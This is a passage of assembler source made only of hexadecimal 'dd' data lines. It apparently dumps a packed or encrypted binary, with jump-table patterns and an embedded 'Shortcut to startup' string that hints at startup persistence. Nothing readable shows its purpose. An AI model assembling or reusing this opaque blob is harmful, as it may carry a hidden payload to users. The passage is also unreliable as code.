		dd 1B1DAB63h, 39E1655h,	0A545B3CCh, 14932018h, 6AA1A23Ch
		dd 0B0152633h, 9CA840FEh, 4DAACE63h, 0F6D82633h, 354BA3BEh
		dd 24C82003h, 0E4FEEBB6h, 0FF677635h, 33B30A0Ah, 1794E2B0h
		dd 7DFEEBB6h, 23157635h, 55A8408Eh, 540DD963h, 3D9E0D38h
		dd 6A982651h, 6474AD66h, 11CE7464h, 8DAB2E4Eh, 0A69824DAh
		dd 0D3DF6633h, 2C97260Ch, 2B67D9C6h, 1713EF00h,	35B2CF3Bh
		dd 48AB2633h, 0A71831B9h, 0E868AD03h, 5AAD63h, 0A9982C88h
		dd 0D49BCF33h, 896F2633h
		dd 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh,	0D697E638h
		dd 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h,	9CA84088h
		dd 2A68ABBEh, 93202003h, 78000000h, 271E7FCh, 0C8D00731h
		dd 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 63067F0h,	680F8D8Dh
		dd 0CF2B0630h, 8B05E983h, 873D20C8h, 0E8BE46F3h, 0D867106Bh
		dd 30320802h, 6DF15921h, 34166E88h, 34164580h, 3032801Ch
		dd 0C0F11544h, 0FC98AD8Bh, 0F9D6DD64h, 3F36A0CAh, 30301B85h
		dd 3020EB01h, 0FB30101h, 24FA094h, 90053BABh, 43739010h
		dd 0D45CF20h, 2F1BB582h, 3F32022Ah, 30324F85h, 63326B01h
		dd 303283E9h, 0F3696001h, 146EA95Ah, 14769105h,	30321E05h
		dd 0F3614701h, 3FEA2FAEh, 3032138Eh, 303F6901h,	3E2D4001h
		dd 0BD819E83h, 1691BB38h, 63465994h, 0F5B78D61h, 3F342901h
		dd 30320188h, 0D968E101h, 303241B1h, 60620BB6h,	3026F853h
		dd 41EC0801h, 8B274742h, 3D1C9DB0h, 0BA109ED4h,	3C8F7346h
		dd 0E6B919ACh, 6A032F5Fh, 14369959h, 0D865086Bh, 30320402h
		dd 6FF15D21h, 34167D88h, 3416C480h, 30324016h, 0F17746h
		dd 3F23DF74h, 0CE164400h, 4119BB67h, 0DAF8959h,	39342A2Fh
		dd 1B1455B4h, 1CF2C307h, 0D867206Bh, 30321002h,	6DF15521h
		dd 34166888h, 34164680h, 30320117h, 53F1D544h, 0DAB38AF1h
		dd 1D2771FBh, 8D1B188Ah, 3619114Ch, 0CC7A8F67h,	0C9B9E580h
		dd 0B1542853h, 3FCDB638h, 30328F85h, 3AB82F01h,	3F321001h
		dd 30320C8Ch, 0FD886201h, 39F381FAh, 2EE3B400h,	9B2862Ah
		dd 0DDB74FE8h, 5A322001h, 33DA4201h, 10320801h,	0B968C75Bh
		dd 0B1362655h, 28362545h, 72328001h, 0E60D8353h, 0BB671E8Ch
		dd 30581140h, 3031E051h, 68120401h, 74BB5AC2h, 74B30525h
		dd 302F8425h, 60724001h, 303A13C2h, 0B398FABBh,	3304DDCBh
		dd 62326EC9h, 303201E9h, 0F3682101h, 1466095Bh,	1476C105h
		dd 30323405h, 0F3605201h, 0D18F3B23h, 0B3342F0Ch, 0CC5207C0h
		dd 303204E8h, 7C782601h, 0B15377FAh, 7379B038h,	55B71F8Ah
		dd 5A320801h, 33DA5101h, 10320201h, 0B96FC25Ch,	0B136A46Dh
		dd 27366445h, 75322001h, 0A789D354h, 85B93E3Ch,	361901E8h
		dd 7E938F8Ch, 0BB63072Ah, 1B07299Ch, 338A1E07h,	0CC322001h
		dd 3058F1FEh, 3031E053h, 6A120401h, 64BB58C2h, 74B30525h
		dd 302E8425h, 62704001h, 0AB801EC2h, 3D7352C9h,	8D39DD3Fh
		dd 36191300h, 0EED18260h, 5823BC8Ch, 0BDBF8631h, 36022A85h
		dd 0A2B154B9h, 0A1B72300h, 1B34232Eh, 873D20CEh, 0E8BE46F3h
		dd 0D867106Bh, 30320802h, 6DF15921h, 34166E88h,	34164580h
		dd 0F305E983h, 0F5C08BA4h, 2A359D29h, 0C38B062Bh, 0EE9h
		dd 0A8166000h, 65h, 0
		dd 0E9000000h, 5CEh, 0F02C1845h, 0FCC097h, 534F71E7h, 9F1B3D34h
		dd 28E4DE80h, 0D9811ADDh, 8ECC2BE7h, 3A1F78B4h,	0EB6D8A06h
		dd 0E40BD1CDh, 0DBAA56D8h, 152D2B92h, 0AE1C781h, 4E99A3B7h
		dd 6238A443h, 2AE30B32h, 0BC591B74h, 433F7085h,	9BB72A05h
		dd 0B508E37Fh, 0FC0156B3h, 0ACC8645Eh, 0DB85F05Fh, 0B582A7D5h
		dd 0D0879A13h, 81C01FECh, 0F9E944A7h, 9C98D1F2h, 70560E69h
		dd 2F13489Bh, 0C9EC016Bh, 0EF0BA012h, 75390D26h, 1F8AD5F3h
		dd 0C64EFC30h, 64E85754h, 433102BEh, 0A2AD1198h, 5C4D77E7h
		dd 0EC281C45h, 11FACE93h, 0EF81AF3Ah, 6294EB7Eh, 8ABEA3FCh
		dd 0B75EFC03h, 48AD2DE5h, 96B622A9h, 0C3C41867h, 0BF4A9531h
		dd 0EB3F1F91h, 0CE87FE94h, 9B82AA45h, 3CCF3E20h, 0B1F5C94Ch
		dd 0FF1894A8h, 44886345h, 94EBFEB5h, 0DD2E1044h, 0BE0C67Eh
		dd 5215E902h, 4305802Fh, 0C7BBA465h, 9717CF9Bh,	7E777Dh
		dd 81530000h, 0C60AE1C7h, 94EBC03Ah, 6827B21Dh,	61F9D2F4h
		dd 0EBC0F577h, 17968894h, 82EC1AEEh, 3A7D96D9h,	1, 39DA81A4h
		dd 0F9B955D1h, 99C6627Eh, 0BA4CFE0Ah, 190194EBh, 9BBE1D90h
		dd 78FB46A5h, 7B868F5Ch, 0B93341ECh, 0CC94EBBAh, 0BAEA8452h
		dd 0E5F394EBh, 94EBBA4Bh, 47DB203Eh, 0C5E9DD46h, 6221AE9Eh
		dd 41EBF9FCh, 3494EBBAh, 0DE3D8E2Ah, 0DA644779h, 74934FBEh
		dd 0BADEDAFCh, 4E7D981h, 35A2A2B9h, 5FFF0256h, 4DC0C965h
		dd 218579E2h, 6C8B0739h, 52F9D2F4h, 0C037B9C7h,	0D44A94EBh
		dd 6396CAD5h, 9C545A8Eh, 6E501E1h, 0E10DF100h, 7D96FC95h
		dd 8D29h, 0D981B500h, 0A3B904E7h, 0AC454E9Dh, 0F89722D8h
		dd 0F9735D67h, 8C94EBC0h, 52041B92h, 0BCA0FF68h, 2E19218Ah
		dd 9B6BF9Ch, 0BD61A881h, 0E1CAFC62h, 162A2F6Ah,	0C9EF66B5h
		dd 941622ADh, 0E994EB83h, 0EE69B871h, 0BA9EFDCEh, 85D82784h
		dd 85B86843h, 4BEA2EC1h, 232F4B77h, 54D77D97h, 0F3000000h
		dd 78E7D981h, 8801471Dh, 8FB1A6F5h, 5BE6753Ch, 3523053Ch
		dd 94EBC0BBh, 0CAA283CEh, 0FC1E6F8h, 3D013AF3h,	80CFF169h
		dd 0A1685C05h, 0DA81D9FDh, 3A1E7DEAh, 0DAF68504h, 94EBC04Fh
		dd 0BFEBDF60h, 7D96D9B3h, 0BDC6211h, 2BFCF2E6h,	115E2h
		dd 81B10000h, 0EF7AE5DBh, 0EBC02FC1h, 0A59BBE94h, 5FC33846h
		dd 0E570DFAEh, 0EBC055D7h, 0F7362894h, 418EA8A8h, 4F281E42h
		dd 27F63709h, 0FA7D98D8h, 166546E2h, 0F992795Fh, 37F57C40h
		dd 0E0743A0Eh, 0DB2B22DEh, 66F80D55h, 57F38F5Ch, 14EEA74h
		dd 0C6D992F3h, 0A6BAD98Ah, 948A69A0h, 1E90BC4Bh, 0FF6D3F38h
		dd 2D24A72Eh, 372B9092h, 98D827F6h, 0A6D542BEh,	8985A7E7h
		dd 31BBC99Fh, 446D3F95h, 304FBEDAh, 17B51630h, 6D3F958Bh
		dd 317549E2h, 0CBC61137h, 0C75BB094h, 45FF18C6h, 5E55A0A0h
		dd 63AE1CC4h, 0FD309B37h, 44240446h, 21BDD956h,	0DBFD77CAh
		dd 43B4ADF0h, 0F68DB8C5h, 806B879Eh, 0CB20243Dh, 68FFC378h
		dd 0A514C03h, 4049D13Ah, 95CFE3A7h, 66077B3h, 0BE776BA1h
		dd 13Bh, 6F027118h, 95000DDDh, 0A0EC9EAAh, 0F96194EBh
		dd 4BBBAC5Dh, 0A0650715h, 61894EBh, 0C2EE7DEAh,	94EBA028h
		dd 45CC3D5Dh, 0C6BE3237h, 82CD4D8Ah, 0A0695307h, 0F0D68EEDh
		dd 0BF99DB34h, 7157116Ch, 2E124B9Ah, 22DEF878h,	3F015635h
		dd 9EEA8490h, 839F6D3Eh, 37E38F0Ah, 3B9B776Ch, 47000000h
		dd 84D3206Fh, 0C041EBF9h, 2A3494EBh, 0CE406CE3h, 0C314EBC0h
		dd 0C2C18C5Fh, 6E62AB9Dh, 14EBC0DCh, 5E16759Ah,	0B488B178h
		dd 552A110h, 0EBC015F7h, 0FA362894h, 0A269h, 0E2714900h
		dd 3E8DB7A7h, 0C0B43620h, 51C994EBh, 1A57A758h,	0B688CECDh
		dd 8E9AC555h, 94EBC0FCh, 0F1008991h, 9332762h, 0DBB1F080h
		dd 42DC8AC6h, 0B7521269h, 0C3E55CA1h, 708F0BA7h, 0D7F5D6F0h
		dd 6D3F2548h, 7C32162Fh, 12721C4h, 0D02029E5h, 1AA934A3h
		dd 39CF618Fh, 9C826D3Fh, 3F3938B2h, 0DCCD4D6Dh,	0F4F95B4h
		dd 39A6B873h, 7A4DA04Ah, 0DB95E2E4h, 77F90782h,	0A674FBEh
		dd 6231F814h, 0A803251Fh, 0C38145F8h, 42D17E73h, 0BE07A9B7h
		dd 0E47A674Fh, 0C8AEAB25h, 7AA1797Fh, 7109E2E4h, 6FC5D9D5h
		dd 7785D21Fh, 8ADBB65Ah, 0CB8665F5h, 5AB18BCCh,	0BABAC5C4h
		dd 4D07609Ch, 0BAA1FC6Bh, 3E19218Ah, 14E72618h,	0EC9EAA39h
		dd 616D2455h, 0A8426EF9h, 0DD6D2455h, 33444CBDh, 7C11BC2Ch
		dd 0A9ABFFC3h, 9B37094Ch, 0CE95F01Fh, 70F00FFEh, 0BBD67556h
		dd 156C9DA7h, 0E7917A52h, 88743D68h, 985689CEh,	9E14E811h
		dd 0E61F43A6h, 0E27C4F71h, 0DAE66546h, 2DCED50h, 7D993525h
		dd 4EEB9681h, 906148Eh,	0AA4B01Fh, 7F02DC34h, 9DD72AE3h
		dd 3F950BBh, 0D9000000h, 0DC817A5Eh, 84BC03E8h,	6DF249A2h
		dd 312D705Bh, 0F169B417h, 0B9A1FCCFh, 9ED92487h, 4A0E6DBEh
		dd 15489774h, 6808D833h, 4F2Eh,	51243C89h, 0C181E189h
		dd 4, 8704E983h, 895C240Ch, 89522404h, 4C281E2h, 83000000h
		dd 148704EAh, 34895C24h, 68525124h, 3D23442Ah, 9AC2815Ah
		dd 89C90D26h, 0C8895AD1h, 4EC8159h, 89000000h, 4812424h
		dd 424h, 89575E00h, 87E89C7h, 81243C8Bh, 4C4h, 24348B00h
		dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 582434FFh, 0E904C483h
		dd 0FFFB0F30h, 0F05386AFh, 8A76DF5Ah, 7B83453h,	3063070h
		dd 0BEE0FFC5h, 0F67A55F8h, 6921FD45h, 78628732h, 0D371DAACh
		dd 3304ED72h, 222301E1h, 563CC9D0h, 7B1BC209h, 13696600h
		dd 7E70B9D9h, 0FB6FB4ECh, 693A7A08h, 0B791023h,	0B1483DDFh
		dd 4F1764CBh, 0EF3DF0E3h, 9F378429h, 5C5ABD39h,	142EB5EAh
		dd 0CF1CE9D9h, 46680B3Ah, 0D4335D00h, 0A22F309Fh, 0F0027897h
		dd 0D31C222Fh, 0CB4F73DAh, 0B958AC19h, 3A386C03h, 8B14FDFEh
		dd 395C8B2Ch, 496FE6C3h, 8D0CCF0Dh, 2B1C159Dh, 39B806h
		dd 85890000h, 62B06FDh,	0E8h, 0D055800h, 89000000h, 39E903h
		dd 0
		dd 0Dh dup(77E6h), 0E8FF77E6h, 5, 4E63BA2Bh, 0CE25B895h
		dd 0E85E4175h, 14h, 895216F0h, 0AD2567A1h, 0E30CCB58h
		dd 65E78AEh, 1CB0162Eh,	59D68B66h, 5B37C681h, 0B8660000h
		dd 83BF4BECh, 813D1650h, 1639F8EFh, 11820F3Dh, 0E9000000h
		dd 0Ch,	4A8C12A3h, 0A8898B6Ah, 5B27F6C4h, 52531E8Bh, 6E8h
		dd 7E265A00h, 59E97990h, 0F3815A5Ah, 2DDE6E10h,	81CBB70Fh
		dd 0EDA0C9F3h, 12E832h,	0EF8C0000h, 0D423AF92h,	57B0D7A9h
		dd 442F54B3h, 0F1EF81ADh, 0CE9h, 6705B500h, 0F3A68B49h
		dd 8DB98452h, 0F3815857h, 7D589B6Fh, 2820Fh, 0CE8B0000h
		dd 850F1E89h, 13h, 9E8h, 732D6000h, 0E5DA614Dh,	0B966D8FCh
		dd 835AECF3h, 0D08B04EEh, 1EF81h, 850F0000h, 1Dh, 10B570B9h
		dd 2DE971h, 0F8680000h,	0E478C43Ah, 0E352E0CAh,	99AB9F54h
		dd 0C15FB916h, 3BB2B951h, 55E94AADh, 0B4FFFFFFh, 0FE8A43C2h
		dd 0F17EE9E2h, 0C62AECADh, 8DA56C88h, 30730D8Dh, 0CA816606h
		dd 8D899788h, 62B0EE1h,	3585958Bh, 0BD89062Bh, 62B2D49h
		dd 21E185C7h, 6A44062Bh, 85C70000h, 62B2BE5h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 38C35646h
		dd 28F5B529h, 0F78B062Bh, 2A5DB5FFh, 8E8062Bh, 9D000000h
		dd 90C8A9CFh, 9EC5043h,	2B07B1BDh, 95FF5A06h, 62B2731h
		dd 1781958Bh, 6A062Bh, 294595FFh, 0C08B062Bh, 0B32F19EBh
		dd 0E1663E2Ch, 8176B48Fh, 67EEF362h, 7663E2A8h,	0B158E376h
		dd 0E977B49Eh, 4, 64623EB4h, 552E9h, 0A1A3B800h, 71570A65h
		dd 0C0065AB5h, 8CA8ABC4h, 5963F710h, 0F461505Dh, 435C5862h
		dd 92ED291Bh, 0E03FFBCDh, 904A4660h, 0B3C36D7Bh, 0B2B692DBh
		dd 0E1C7819Eh, 5AA3B70Ah, 6EAAC600h, 9A715711h,	0BC2B0D47h
		dd 0C0690311h, 21C94EBh, 0BEA5F88Bh, 97E3144Dh,	6557DAh
		dd 0E2D5A23Eh, 4B6D609Fh, 0A66FBCD8h, 73F5B98Dh, 23CE5955h
		dd 0EBB79B15h, 0B970EE94h, 0D3CFF166h, 4E99A3B4h, 0F5341053h
		dd 4183DB26h, 0BF83BA6Ah, 55276EBh, 20E9CF86h, 5232542h
		dd 0B79F2AA6h, 0FB094EBh, 50630F3Bh, 681B7D97h,	0C7000000h
		dd 258B0271h, 39EF3129h, 32FF1193h, 4647E39Dh, 812C393Bh
		dd 0EB94F973h, 0C4928C94h, 94EB942Ah, 44A7C35Fh, 0EB94F888h
		dd 9E62D394h, 972DF670h, 1AE7Dh, 81280000h, 0E7DEADAh
		dd 151F6765h, 1B23AD9Eh, 0B95C83ECh, 0E6D20E9h,	98BEB64Bh
		dd 38932F33h, 0D38962E5h, 917A51EDh, 4B0EA498h,	0E65EB975h
		dd 71D0C4C0h, 0C5B48702h, 337C5DE3h, 5C291F51h,	9DE42514h
		dd 0D52883C5h, 26DBE8Eh, 19416559h, 1F2DB827h, 94EB0C6Dh
		dd 0D38F7EE0h, 319ABCB4h, 7B5076EAh, 0A3083224h, 0E8C3E55Ch
		dd 9E0A499h, 251F7A95h,	44A781C0h, 2D4D9E3Ah, 0DB7F43FCh
		dd 45A698BCh, 0A9D5F435h, 5D7D97AAh, 9Dh, 3FC097F2h, 0B6C82305h
		dd 8E9AB11Ah, 94EB01FCh, 0E26D8991h, 0EB0154D6h, 0F8312994h
		dd 0E7D981D2h, 9DA3B904h, 0D8AC454Eh, 0E7899722h, 0F694EBC0h
		dd 0EBC040EAh, 0D6253594h, 183E4148h, 6CCAB926h, 6EE3620h
		dd 47A01E8Fh, 7FC22913h, 42023C4h, 0AC7F9BA7h, 0D13A0A51h
		dd 47D07D9Ah, 227DBDE0h, 0F6A60523h, 20F47B4Fh,	0A892D11h
		dd 809E6D4Bh, 24F48E09h, 39887D97h, 0C1000000h,	60A99FC2h
		dd 0E7D9815Ah, 0B4A4904h, 4940DE2Dh, 0CC1F2136h, 367C40E5h
		dd 0D2B11E20h, 8F73BA8Ch, 0EADA810Bh, 0C03ECB01h, 0AE1794EBh
		dd 0D9C2ACDAh, 17A7D96h, 64000000h, 7AE5DB81h, 9FC23B1Fh
		dd 0A0BE0DA9h, 32D03CD7h, 78B16128h, 0EB1E56A5h, 0F42E0D20h
		dd 0AA019D7Ch, 2B7F43FAh, 96971335h, 729EC926h,	8AC6B113h
		dd 78C7243Ah, 0A55D0DF8h, 0D007672Dh, 251F78B4h, 9424A803h
		dd 0F16D3E3Eh, 2222887Ch, 0F56F8804h, 0A3A5F8D3h, 8D290F46h
		dd 9276EF3Eh, 91B7B1ECh, 0BA4F0918h, 109BC0B1h,	5551EDA3h
		dd 6CAD2842h, 17DDC77h,	6FFE0000h, 0F685D21Fh, 0A83C59Bh
		dd 0C6DE6386h, 0D37CE28Ah, 3DB63844h, 57CB6D3Fh, 0F878C756h
		dd 83C522DEh, 79FB46A5h, 2E3D8C5Fh, 0F0DBED73h,	0C286BF6Eh
		dd 0C963711Ch, 0BC6D3F3Dh, 0A583C5A2h, 7D5B1D64h, 4AA3B7D2h
		dd 0ABCC08FEh, 411EBA1Bh, 0BAC42719h, 5E088F73h, 6776B03h
		dd 76h,	481271C0h, 2F9E8F7Eh, 8D0897C0h, 9739F0D4h, 14EBC075h
		dd 0DAEBB9E4h, 2B1799A7h, 0F46A14EBh, 4EBDC58Bh, 6942DC5Fh
		dd 0C835B7E2h, 313121Dh, 8A64068Ah, 0D98514EBh,	86C11CEFh
		dd 8095C9A6h, 0EB8AFA74h, 77938F14h, 8246FF94h,	3A0E27EFh
		dd 51072B9Ah, 66829C6Fh, 8A21EBF9h, 0CA5494EBh,	184241CEh
		dd 8A7D0F1Dh, 0E1094EBh, 880119F2h, 0AA8Dh, 2717500h, 0C989F0EBh
		dd 4AFB32A4h, 5E6AF5FAh, 8AC68363h, 3FB1DF72h, 526D3E93h
		dd 7827B0CCh, 68BDB3C7h, 5EC9C25Ch, 4DABC083h, 0D625F831h
		dd 237CB89Eh, 0A9A40721h, 785375EAh, 1AA927E6h,	0ED6D3E88h
		dd 2279526Ah, 5DA00B3Dh, 7AF3C004h, 0F8973086h,	0A5458CFDh
		dd 0BD81BA09h, 0E3346A19h, 0FCC2550Eh, 93C31B3h, 79B0C81Fh
		dd 0DF082E26h, 67A680C0h, 2D42B2BBh, 0B63896A2h, 0C5557309h
		dd 0FFD99BE6h, 5F97C2Ch, 65F2FF4Fh, 79C5F957h, 688DF879h
		dd 37DE02F5h, 63FFBE6Fh, 81DDB8A7h, 3E8D284h, 0D284E37Fh
		dd 71A521E8h, 0B27B4D12h, 45FF3181h, 5AF68863h,	4D61FF0Dh
		dd 5808ADCh, 0FC82695Fh, 67F06E0Dh, 9B123428h, 95B3B508h
		dd 55630E19h, 6D244CDBh, 2679B0AEh, 0C0DF082Eh,	0E28C989Dh
		dd 976D244Ch, 4E106F8Bh, 28B9774h, 9BC1DC73h, 566C64A5h
		dd 10EF216h, 0A69E14E8h, 69EB0480h, 0C385004Fh,	0A7BB06E5h
		dd 94304E9Dh, 383B8615h, 58DDCF1Ch, 0EDF3BE64h,	0D869D559h
		dd 0E0911B29h, 7AE40396h, 90D02FDEh, 5B1D7AB6h,	3A7AE7Dh
		dd 93000000h, 0DC817A5Eh, 84BC03E8h, 6DF249A2h,	312D705Bh
		dd 0F169B417h, 0B9A1FCCFh, 9ED92487h, 4A0E6DBEh, 15489774h
		dd 6808D833h, 0AE4h, 89243C89h,	4C781E7h, 83000000h, 3C8704EFh
		dd 45685C24h, 89000054h, 8951242Ch, 4C181E1h, 83000000h
		dd 0C8704E9h, 3C895C24h, 1D52BD24h, 0E5811EB9h,	7A7E7C1Fh
		dd 4BFEBA52h, 0CA816F46h, 13933A85h, 3959CA81h,	0D2F7209Ch
		dd 0C281D2F7h, 6C18DB28h, 545AD501h, 81243C8Bh,	4C4h, 89515300h
		dd 59CB89E9h, 5B085F89h, 5F2434FFh, 0FF04C483h,	835D2434h
		dd 35E904C4h, 52FFFB07h, 0E1970F71h, 0B8B36C0Eh, 63077FFh
		dd 0E0FFC503h, 1A1F057Fh, 0CE60254h, 32A0AE1Bh,	0D11BE14h
		dd 0D3EC93Ch, 21004A27h, 1ADEBFF1h, 6805D8B4h, 5181D500h
		dd 521B8FB6h, 33637ACh,	7DF61FA2h, 4D1DC718h, 79BD7EFFh
		dd 75E9h, 376C700h, 6F68534Fh, 75637472h, 6F742074h, 61747320h
		dd 70757472h, 17h dup(0)
		dd 5FE90000h, 6800000Fh, 6307B17h, 0FBD6AAE9h, 7C2268FFh
		dd 0A0E90630h, 68FFFBD6h, 6307DF0h, 0FBD696E9h,	7E2F68FFh
		dd 8CE90630h, 68FFFBD6h, 6307EF4h, 0FBD682E9h, 7FAC68FFh
		dd 78E90630h, 68FFFBD6h, 6308388h, 0FBD66EE9h, 861568FFh
		dd 64E90630h, 68FFFBD6h, 6308727h, 0FBD65AE9h, 63DA9EFFh
		dd 5AA9EA8Fh, 3C81C3A6h, 155E25F8h, 0C3367C11h,	0F98F442Fh
		dd 0D7AA4EBBh, 2ACF238Ch, 71A1E6Dh, 3632F63Fh, 760C7B37h
		dd 7E1191EBh, 1EA35C4Dh, 7311A413h, 0F45B2FEh, 105891EBh
		dd 1FA57761h, 0BFC64647h, 0A7B3B6Ch, 0A50C548Dh, 2B477841h
		dd 97DB0FFCh, 0DAAC0F52h, 91140F96h, 0B0FEEF1Eh, 97DB0F47h
		dd 0B0FD475Ah, 0EDA3950Ch, 8999CE9Bh, 59BBF7E8h, 0AC9DE6D0h
		dd 1323BA4h, 0F0D7226Dh, 6A0B3F91h, 0F0D7C704h,	0B65CBB91h
		dd 0A7375B2Dh, 42A671h,	86B70000h, 0F0DFBFE8h, 8FBEA291h
		dd 0F0DFB4E3h, 0D0A1A991h, 29C2258Dh, 26807220h, 15F29DE6h
		dd 0F47AE54Eh, 68175BADh, 0E259FA63h, 301C55EFh, 50CE1D61h
		dd 57B291F0h, 0C254264Fh, 0ECA171A6h, 0DE000000h, 8D0A7B3Bh
		dd 3CBB0E54h, 744D960Fh, 0F36CD99Fh, 0A88AC67Fh, 0DDA57203h
		dd 6E36EB94h, 3AA51056h, 0A0EC00B4h, 97DBE7BCh,	0F0B25212h
		dd 0B32C93DCh, 9A0C8B3Fh, 377F1216h, 0F9651CEh,	4B016D9Ch
		dd 4E9DE6F4h, 0A6D7E61Ah, 0F0C39FC8h, 7BDE8291h, 0F1ACF53Ah
		dd 264C7DEEh, 9BCE0368h, 0E74C15F2h, 0B24FF678h, 0F41B98CCh
		dd 4E43A5FCh, 8D05B209h, 0B0A9169Ch, 8CB497DDh,	6E341118h
		dd 0A83DD016h, 0D83DDA9Ch, 42A62A95h, 0D39CE9AFh, 8AB08F46h
		dd 0C27E0A49h, 2C00000Ch, 781D1168h, 5134C837h,	0AB4EA20Fh
		dd 82679BECh, 0D6BD71C4h, 0FC490F7Dh, 0D11A6538h, 8CFBB85Dh
		dd 64CD9568h, 0C9A58480h, 91EB749Eh, 3B998883h,	9801087Dh
		dd 6623C69Dh, 0F3C86011h, 0AD1A9881h, 0B097DB70h, 680DE988h
		dd 9425D928h, 1A85F2B7h, 25BE0D94h, 722029C2h, 9DE62680h
		dd 3BCAD95h, 881E983Ch,	0CFC7045h, 0C05354CDh, 0A382CDA1h
		dd 0AB9F91F0h, 97E35E27h, 91F0A334h, 0BCD9CD48h, 71A70ECAh
		dd 0BA17h, 0A4E12600h, 5F26A857h, 692AEF0Ch, 8C159D1Ah
		dd 4F7EC78Fh, 0FA65C88Ah, 0ED322D74h, 0D5A552A7h, 97DB34A1h
		dd 0FBF3470Fh, 0B534DFFFh, 0FAC327ABh, 71EE531Dh, 868BBEF4h
		dd 0EF93C7BAh, 70C18196h, 3E01C6C7h, 196433F0h,	0CC705489h
		dd 7DC88E53h, 0EAFDA8C9h, 602A4871h, 659DE62Ch,	637A39FDh
		dd 0C2ADC1C8h, 789BCED8h, 1263D493h, 0BE9B82B6h, 94698DF8h
		dd 6BCC7BCEh, 6C8AB09Ch, 0BB783F1h, 5D190000h, 2C7508ECh
		dd 44E23C7h, 0E1A045B9h, 0B9FF9296h, 2DBA84Ch, 37CB3E04h
		dd 48AC0F52h, 679BF0B5h, 0BF73C282h, 8BF4BAB3h,	9691EB73h
		dd 7D3BAAF5h, 5111F408h, 3BDF0CE0h, 0C6030A7Bh,	8687307Bh
		dd 0DB0FBFE8h, 0ABEA297h, 12F7F46Bh, 0FD75E251h, 46AFF7A4h
		dd 5DCED1A2h, 5A90462Ch, 408D9DE6h, 0F03DE552h,	0CC70F891h
		dd 3DE42753h, 7D9891F0h, 947ACCA9h, 1C4771A6h, 96000000h
		dd 0F081F2B1h, 4476EFADh, 0C6CD3C51h, 0C4D2FE7Fh, 5CC03847h
		dd 82EFB45h, 0EF900000h, 0F47B0FEh, 1FB597DBh, 9372A7E9h
		dd 0B6CF7305h, 5D26E8FFh, 2CE16916h, 0EF631C63h, 0BE3C727Bh
		dd 0BB9DE6DCh, 8FD708B7h, 672FC226h, 0C011611Eh, 6D3AB4C7h
		dd 0E724E4AEh, 494E57A0h, 6713D09h, 1BF6B4C1h, 48F73E06h
		dd 4AAE52C6h, 9786EFB7h, 0C1DF0866h, 9EC2F6B4h,	0EC3E4807h
		dd 0E2F6B4C1h, 0DCCD1F07h, 0C198C7ABh, 0DD85F6B4h, 0B4C166D1h
		dd 0AEF77BF6h, 0A458A9E9h, 873081C1h, 0B4C195FBh, 115F2F6h
		dd 0CE3D7ADFh, 53A2E2B7h, 0B7A3ADFh, 36E69F8Ch,	192CAC3h
		dd 208BD60Bh, 2D435A51h, 2D59A8E8h, 94B6DE2h, 0D6C74BFFh
		dd 0F5083CA5h, 7817DFBCh, 973FD519h, 0B4A0376h,	0A40BB477h
		dd 47B0FE09h, 5A0F60A5h, 1CF36216h, 0C0C9BEC5h,	7F2ACE72h
		dd 0F7687F7Bh, 0B616A8C6h, 564B055Dh, 0B53DBA11h, 8BE71801h
		dd 94BD05Ch, 0EE781941h, 58377A82h, 418B122Bh, 1A03B704h
		dd 6636B694h, 108FB3DDh, 2C5DCED1h, 41B53E46h, 64F8CDBh
		dd 0D880D8B9h, 1D5BA0D1h, 0D14EBBF9h, 0A42AD559h, 97838DDh
		dd 0E15010F5h, 2FB1EF46h, 775E0CBh, 9E9h, 0FA3E8FCBh, 1D115E27h
		dd 37CB3678h, 4CA01352h, 9A9EEBA9h, 70365489h, 410CE105h
		dd 22673AFEh, 0F4BC51D5h, 0CCFD698Dh, 0EB7279A6h, 78AB6491h
		dd 0BD0A7B3Bh, 8AA9F4CEh, 0AAE692C1h, 14000009h, 6005F950h
		dd 0B95CD01Fh, 93768AF7h, 0EA8F63D4h, 0CEA559ACh, 0C4317715h
		dd 0B9024D20h, 94E3A045h, 4CB5FD90h, 0E18DBCA8h, 91EB71B6h
		dd 0EFA1F0ABh, 0F47B0FEh, 165A97DBh, 7BCA8A8Fh,	480ACFFCh
		dd 146320E5h, 7FCA888Dh, 0E6515D4Eh, 0FB97DB0Fh, 9D482E77h
		dd 0D8465959h, 0E52A0D52h, 0FBE296EDh, 0E6D721B7h, 56F97C9Dh
		dd 2C50E820h, 0F6405904h, 0BFDA104Fh, 59C7AB0Bh, 0E9D03FF0h
		dd 437465F6h, 4DC7E02Fh, 2C75FD50h, 0C115F7BBh,	28105A70h
		dd 1959BEAFh, 0C616412Dh, 470B5666h, 0D4CBC2D3h, 9BC6A556h
		dd 5EC2443Bh, 9433432Fh, 72E65C57h, 7FC68E4Bh, 579EE6BBh
		dd 3D90B598h, 0CDBBA652h, 8E5h,	0FE328BCFh, 11155A1Bh
		dd 2BCF327Ch, 40A40F56h, 9E92E7ADh, 6C2A50F5h, 3D00E519h
		dd 1E5B3EF2h, 0F0B055A9h, 0C8E16D81h, 0EB717DAAh, 7CAF6091h
		dd 196C2AEFh, 62D39378h, 0EAD69E7Bh, 0DB0F5B84h, 6E124697h
		dd 0F6535817h, 56D847AEh, 0BE0D4A4Fh, 0B80B4A8Fh, 0CDD41D65h
		dd 8D2BDE9h, 0A36897DBh, 0F4BD90E5h, 0A83FF68Fh, 0E680637h
		dd 0F39DE880h, 777BA4CAh, 8AD591EBh, 6E5F21h, 91EB77D7h
		dd 6E1286CAh, 1FD54E7Fh, 0D4036FC9h, 0C991EBD5h, 0BAD1081h
		dd 8872A352h, 0E8DA2F08h, 7DC48C89h, 559CE4B9h,	0DA2F75AAh
		dd 48BF845Dh, 0DAC6A4FFh, 0DCA89790h, 82Dh, 867AD397h
		dd 0D95DA2E3h, 0F3377AC4h, 8EC571Eh, 26DA2F75h,	0B4F2884Dh
		dd 85C8AD41h, 6623C63Ah, 38781D11h, 303935C9h, 0EB703562h
		dd 24772891h, 4A6A2AEFh, 883EB90Ch, 0D8987D04h,	6929EE69h
		dd 3EB90A49h, 0FE9B0488h, 74D17323h, 3B06DB2Eh,	0B2C347F0h
		dd 0D0549DE5h, 41672CE9h, 9502B603h, 8EF8841Dh,	6B6B7B62h
		dd 4D0h, 29C22500h, 5999DB20h, 0D6D36D3Bh, 740DB191h, 52C13F73h
